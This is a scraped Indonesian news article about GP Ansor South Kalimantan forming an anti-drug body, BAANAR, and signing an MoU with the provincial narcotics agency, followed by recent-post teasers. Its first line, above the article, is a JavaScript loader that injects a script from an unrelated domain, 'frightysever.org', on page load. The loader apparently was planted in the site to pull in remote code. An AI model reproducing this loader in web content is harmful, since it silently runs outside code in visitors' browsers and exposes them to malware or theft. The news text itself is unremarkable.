(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kalimantan Selatan

GP Ansor Kalsel Bentuk BAANAR, Amar Ma’ruf Nahi Munkar Lawan Narkoba!


KANALKALIMANTAN.COM, BANJARBARU – Upaya menekan peredaran dan penyalahgunaan narkoba, Pimpinan Wilayah Gerakan Pemuda (PW GP) Ansor Kalimantan Selatan membentuk dan melantik pengurus Badan Ansor Anti Narkoba (BAANAR) Kalsel, Jumat (26/11/2021).

Pelantikan pengurus BAANAR dibarengkan dengan agenda Pelatihan Kursus Pelatih Banser 1 Angkatan 2 yang berlangsung di Asrama Haji Embarkasi Banjarmasin, di Kota Banjarbaru, Jumat (26/11/2021) petang.

Ketua BAANAR Kalsel, Anwar Hadimi mengatakan, pecandu dan penyalahgunaan narkoba terus meningkat dan tidak pernah surut, sehingga BAANAR Ansor Kalsel akan melakukan beberapa upaya, salah satunya melakukan penyuluhan kepada pelajar.

“Kami akan melakukan berbagai macam cara dan upaya demi memerangi narkoba yang semakin tak terkendali, salah satunya kami akan melakukan pencegahan dengan sasaran kita adalah siswa dan akan bekerjasama dengan para penyuluh di Kementrian Agama,” jelasnya.

 

 

Baca juga : 40 Peserta Pendidikan Kecakapan Kerja Ketrampilan Komputer Tuntaskan Pelatihan

Diungkapkan Anwar, BAANAR ini akan berjenjang ke tingkat kabupaten/kota dan akan bekerjasama dengan pihak Badan Nasional Narkotika Provinsi Kalsel dan Ditnarkoba Polda Kalsel.

“Selanjutnya struktur untuk kabupaten/kota dalam satu minggu insyaallah akan beres dan akan dilantik secara bersama-sama,” ungkapnya.

Ditegaskan Anwar Hadimi bahwa BAANAR Kalsel akan terus berprinsip kepada amar ma’ruf nahi munkar dalam mencegah dalam hal ini dimaksudnya adalah pemberian informasi kepada forum-forum seperti anak-anak yang masih dalam usia sekolah. Tanpa terkecuali kepada semua anggota Ansor di Kalsel.

Sementara itu, Ketua PW GP Ansor Kalsel, Teddy Suryana menekankan program utama untuk menekan narkoba yaitu dengan melakukan penyuluhan gerakan anti narkoba langsung kepada masyarakat, khususnya kepada pemuda tentang bahaya narkoba sebagai langkah antisipasi awal kepada masyarakat.

 

Baca juga : Terkendala Arus Sungai Martapura Pencarian Korban Tenggelam Dihentikan Sementara

“Pimpinan Wilayah GP Ansor Kalsel berdasarkan rapat terbatas langsung berinisiasi untuk membentuk badan semi otonom yang bernama BAANAR. Konsentrasinya jelas dengan bekerjasama dengan institusi terkait narkoba untuk menanggulangi penyalahgunaan narkoba,” ujarnya.

Diterangkan Teddy, kalau penyalahgunaan narkoba ini tidak ditanggulangi maka akan terjadi lost generasi.

“Ini merupakan tanggung jawab moral generasi Ansor untuk keberlangsungan generasi muda khususnya di Kalimantan Selatan, minimal bisa meminimalisir dan membantu memberikan sosialisasi edukasi kepada generasi muda bahaya narkoba,” tandasnya.

BAANAR Kalsel melakukan penandatanganan MoU dengan BNN Provinsi Kalimantan Selatan.

Baca juga : Posko dan Tenda Peristirahatan Didirikan di Lokasi Orang Tenggelam di Teluk Selong

Sementara itu, Kepala Bidang Pencegahan dan Pemberdayaan Masyarakat BNNP Kalsel, Iskandar Adam sangat mengapresiasi dan penghargaan atas terbentuknya BAANAR Ansor Kalsel yang diharapkannya bisa menjadi perpanjangan tangan dari BNN.

“Inilah yang kita harapkan, seluruh masyarakat bisa meniru GP Ansor. Karena penyalahgunaan narkoba ini sangat banyak hampir 57.723 orang,” ungkapnya.

Diakui Adam, dengan adanya BAANAR Kalsel. BNNP Kalsel menyambut baik dan akan diberikan sertifikat sebagai payung hukum serta akan diberikan pin dengan logo BNN.

“Pin ini dipakai sebagai bagian dari BNNP Kalimantan Selatan,” katanya.

Baca juga : Pencari Ikan Diduga Tenggelam, BPK dan Damkar Banjar Sisir Sungai Martapura

Dijelaskannya dalam penanggulangan penyalahgunaan narkoba, ada empat lingkungan yakni lingkungan masyarakat, pemerintah, swasta dan pendidikan. Salah satu yang dimasukkan ke lingkungan masyarakat ialah GP Ansor.

“Nantinya GP Ansor ini akan diberikan pelatihan bersama BNN Kota Banjarbaru dan BNNP paling minimal melakukan penyuluhan, ini merupakan sebuah kemajuan dalam arti masyarakat bergerak untuk melakukan pencegahan, pemberantasan, penyalahgunaan dan peredaran gelap narkoba,” jelasnya.(kanalkalimantan.com/ibnu)

Reporter : ibnu
Editor : bie


Desy Arfianty

Recent Posts

Camat Lurah Boleh Jabat Sekretariat PPK PPS

KANALKALIMANTAN.COM, BANJARBARU - Camat dan Lurah diperbolehkan menjabat sebagai Sekretariat Panitia Pemungutan Kecamatan (PPK) maupun… Read More

13 jam ago

Sekretaris Nasdem Kalsel Melamar Golkar, Rozanie Sadar Cukup Posisi Calon Wagub

KANALKALIMANTAN.COM, BANJARMASIN - Pemilihan Kepala Daerah (Pilkada) serentak 2024, sejumlah tokoh mulai mencari dukungan partai… Read More

13 jam ago

Mesin Terbakar di Udara, Pesawat Jemaah Haji Kloter 5 Embarkasi Makassar Kembali Mendarat

KANALKALIMANTAN.COM, MAKASSAR - Momen mencekam mewarnai penerbangan 450 jemaah haji asal Sulawesi Selatan (Sulsel) terjadi,… Read More

14 jam ago

Meteran Air Leding PAM Bandarmasih Hilang, Biaya Pergantian Ditanggung Pelanggan

KANALAKALIMANTAN.COM, BANJARMASIN - Pelanggan air bersih Perusahan Air Minum (PAM) Bandarmasih Kota Banjarmasin Provinsi Kalimantan… Read More

14 jam ago

Layanan Posyandu Terintegrasi di Desa Manusup

KANALKALIMANTAN.COM, KUALA KAPUAS – Upaya memberikan pelayanan kesehatan dasar kepada masyarakat terus dilakukan Pos Pelayanan… Read More

14 jam ago

Kampung KB Guntung Manggis Masuk Enam Besar Nasional

KANALKALIMANTAN.COM, BANJARBARU - Dukungan segenap unsur pemerintahan mengantarkan Kampung Keluarga Berkualitas (KB) Kelurahan Guntung Manggis… Read More

15 jam ago

This website uses cookies.